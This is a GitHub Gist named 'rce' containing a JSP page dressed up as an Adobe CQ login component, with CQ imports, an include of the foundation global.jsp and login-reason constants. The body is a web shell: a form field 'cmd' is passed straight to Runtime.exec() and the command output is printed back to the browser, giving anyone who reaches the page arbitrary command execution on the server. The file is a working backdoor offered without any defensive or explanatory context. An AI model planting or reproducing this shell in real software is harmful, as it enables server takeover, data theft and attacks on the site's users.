Created
March 15, 2017 04:36
-
-
Save veeeeeeeeeee/cd23d2f18caf3cce275515a2a618e629 to your computer and use it in GitHub Desktop.
rce
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<%@ page import="java.util.HashMap, | |
java.io.*, | |
java.util.Map, | |
org.apache.commons.lang.StringUtils, | |
com.day.cq.i18n.I18n, | |
com.day.cq.personalization.UserPropertiesUtil, | |
com.day.cq.wcm.api.WCMMode, | |
com.day.cq.wcm.foundation.forms.FormsHelper, | |
com.day.text.Text" %> | |
<%@include file="/libs/foundation/global.jsp"%> | |
<% | |
%><%@taglib prefix="personalization" uri="http://www.day.com/taglibs/cq/personalization/1.0" %><%! | |
static final String PARAM_NAME_REASON = "j_reason"; | |
static final String REASON_KEY_INVALID_LOGIN = "inva-lid_login"; | |
static final String REASON_KEY_SESSION_TIMED_OUT = "ses-sion_timed_out"; | |
%> | |
<html><body> | |
<form METHOD="GET" NAME="myform" ACTION=""> | |
<input TYPE="text" NAME="cmd"> | |
<input TYPE="submit" VALUE="Send"> | |
</form> | |
<pre> | |
<% | |
if (request.getParameter("cmd") != null) { | |
out.println("Command: " + request.getParameter("cmd") + "<BR>"); | |
Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); | |
OutputStream os = p.getOutputStream(); | |
InputStream in = p.getInputStream(); | |
DataInputStream dis = new DataInputStream(in); | |
String disr = dis.readLine(); | |
while ( disr != null ) { | |
out.println(disr); | |
disr = dis.readLine(); | |
} | |
} | |
%> | |
</pre> | |
</body></html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment